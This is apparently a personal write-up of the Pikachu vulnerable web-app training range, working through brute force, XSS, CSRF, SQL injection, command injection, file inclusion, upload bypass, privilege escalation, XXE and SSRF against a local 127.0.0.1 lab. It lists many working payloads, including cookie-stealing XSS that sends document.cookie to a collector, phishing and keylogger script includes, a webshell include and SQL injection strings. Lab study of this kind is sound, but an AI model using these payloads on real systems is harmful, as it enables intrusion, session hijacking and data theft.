pikachu靶场刷题记录
CTF Web pikachu靶场记录
简单记录下pikachu靶场刷题历程
参考资料:
靶场环境配置
初始界面如下:
暴力破解
使用burp suite即可
基于表单的暴力破解
使用intruder模块即可
验证码绕过(on server)
验证码不过期
验证码绕过(on client)
直接爆破
token防爆破?
token可以获取并放入下一次爆破 注意选择合适的爆破方式(pitchfork)
Cross-Site Scripting
反射型XSS(get)
输入一些特殊字符试一下 如果有输入字符限制(前端),可F12直接修改限制值
反射型XSS(post)
登陆后输入payload
<script>alert('evolution')</script> |
存储型XSS
先特殊字符试下,然后输入payload
<script>alert('evolution')</script> |
DOM型xss
"<a href='"+str+"'>what do you see?</a>" |
构造payload替换掉”+str+”,payload为#’ onclick = “alert(‘evolution’)”>
//试试:'><img src="#" onmouseover="alert('xss')"> |
DOM型xss-x
#' onclick = "alert('evolution')"> |
xss盲打
输入payload
<script>alert('evolution')</script> |
网页后缀改为admin_login.php,查看信息
xss之过滤
<ScrIpt>alert('evolution')</sCriPt> |
xss之htmlspecialchars
q'onclick='alert(1111)' |
xss之href输出
javascript:alert('evolution') |
xss之js输出
e'</script><script>alert('evolution')</script> |
pikachu Xss 后台
pkxss后台:
http://127.0.0.1:8081/pikachu/pkxss/pkxss_login.php
cookie搜集
get型:
在反射型xss(get)中输入payload(注意取消前端字符长度的限制)
<script>document.location = 'http://127.0.0.1:8081/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> |
http://127.0.0.1:8081/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%3A8081%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit |
还可以更改一下,让他继续跳转到正常界面(伪装一下)
修改pikachu\pkxss\xcookie\cookie.php文件
header("Location:http://127.0.0.1:8081/pikachu/index.php");//重定向到一个可信的网站 |
post型
http://127.0.0.1:8081/pikachu/pkxss/xcookie/post.html |
注意修改pikachu\pkxss\xcookie\post.html文件中的两个地址链接
cookie后台信息
钓鱼结果
修改pikachu\pkxss\xfish\fish.php中的链接地址(其中的空格要去掉)
存储型xss题目留言板中输入
<script src="http://127.0.0.1:8081/pikachu/pkxss/xfish/fish.php"></script> |
<img src="http://127.0.0.1:8081/pikachu/pkxss/xfish/fish.php" /> |
键盘记录
修改pikachu\pkxss\rkeypress\rk.js中第54行地址链接
存储型xss题目留言板中输入
<script src="http://127.0.0.1:8081/pikachu/pkxss/rkeypress/rk.js"></script> |
CSRF
CSRF(get)
若进入编辑页面提示MYSQL_ASSOC
警告,将pikachu\vul\csrf\csrfget\csrf_get_edit.php文件中的MYSQL_ASSOC修改为MYSQLI_ASSOC即可(各个题目中相同报错同理)
参考:https://blog.csdn.net/mastergu2/article/details/107904129
观察流量包:
构造url:
http://127.0.0.1:8081/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=earth&email=lucy%40pikachu.com&submit=submit |
CSRF(post)
构造post.html即可
|
url构造为
http://127.0.0.1:8081/pikachu/vul/csrf/csrfpost/post.html |
参考博客:pikachu靶场wp1
CSRF Token
很好的防御CSRF攻击的方法。
SQL-Inject
数字型注入(post)
传入参数修改为
1 or 1 = 1 |
字符型注入(get)
kobe' or 1=1# |
kobe' or 1=1-- |
注意第二个payload最后有个空格
搜索型注入
e%' or 1=1# |
xx型注入
e') or 1=1# |
“insert/update”注入
基于报错的注入可利用的3个函数:
- updatexml()
- extractvalue()
- floor()
insert(注册)
evolution' or updatexml(1,concat(0x7e,database()),0) or ' |
update(修改)
evolution' or updatexml(1,concat(0x7e,database()),0) or ' |
“delete”注入
1 or updatexml(1,concat(0x7e,database()),0) |
payload需要使用url编码一下
“httpheader”注入
修改user-agent
evolution' or updatexml(1,concat(0x7e,database()),0) or ' |
修改cookie
evolution' and updatexml(1,concat(0x7e,database()),0)# |
盲注(based on boolian)
kobe' and ascii(substr(database(),1,1))=112# |
盲注(based on time)
尝试
kobe' and sleep(5)# |
发现存在注入点,输入payload进行盲注
kobe' and if((substr(database(),1,1))='p',sleep(5),null)# |
若延迟时间有5s则database第一个字符为p,否则字符不对应。
宽字节注入
kobe%df' or 1=1# |
除了上述各种手动注入方法,读者也可以选择使用sqlmap工具进行注入。
RCE
exec(ping)
127.0.0.1 & ipconfig |
exec(eval)
phpinfo(); |
File Inclusion
File Inclusion(local)
http://127.0.0.1:8081/pikachu/vul/fileinclude/fi_local.php?filename=../../../test/phpinfo.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 |
File Inclusion(remote)
http://127.0.0.1:8081/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1:8081/pikachu/test/yijuhua.txt&submit=提交查询 |
http://127.0.0.1:8081/pikachu/vul/fileinclude/yijuhua.php?x=ipconfig |
unsafe filedownload
unsafe filedownload
http://127.0.0.1:8081/pikachu/vul/unsafedownload/execdownload.php?filename=../../../wiki/image/title.png |
unsafe fileupload
client check
前端限制,删除检查函数即可
MIME type
修改post请求的Content-Type字段即可
getimagesize
创建文件phpinfo.php
phpinfo(); |
创建新图片
copy /b ai.png + phpinfo.php ccc.png |
上传文件后,获得文件保存位置,构造url访问即可。
http://127.0.0.1:8081/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/04/21/69033462610e99ca1b5084426014.png&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 |
over permission
水平越权
登陆后修改username即可查看任意用户信息
http://127.0.0.1:8081/pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF |
http://127.0.0.1:8081/pikachu/vul/overpermission/op1/op1_mem.php?username=kobe&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF |
http://127.0.0.1:8081/pikachu/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF |
垂直越权
登录admin用户创建新用户,然后退出,burp抓取此次操作并放入repeater模块。
登录普通用户,通过burp获取cookie
Cookie: PHPSESSID=e6e5csjr6mdrmnuappdgi1c0qb |
将admin用户cookie替换为普通用户cookie并重新提交请求
可以看到,我们以普通用户身份使用admin用户权限添加了一个新用户
../../
目录遍历
http://127.0.0.1:8081/pikachu/vul/dir/dir_list.php?title=../dir.php |
敏感信息泄露
IcanseeyourABC
直接查看源代码:
直接输入payload亦可:
http://127.0.0.1:8081/pikachu/vul/infoleak/abc.php |
PHP反序列化
PHP反序列化漏洞
使用文件ser.php获取payload,代码如下:
|
得到payload为:
O:1:"S":1:{s:4:"test";s:35:"<script>alert('evolution')</script>";} |
XXE
XXE漏洞
<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker "evolution"> ]> <name>&hacker;</name> |
URL重定向
不安全的URL跳转
http://127.0.0.1:8081/pikachu/vul/urlredirect/urlredirect.php?url=https://www.baidu.com/ |
SSRF
若点击后无诗句显示,可以查看是否链接地址是否写了自己的端口号。
SSRF(curl)
http://127.0.0.1:8081/pikachu/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com |
SSRF(file_get_content)
http://127.0.0.1:8081/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php |
获得结果再用base64解密即可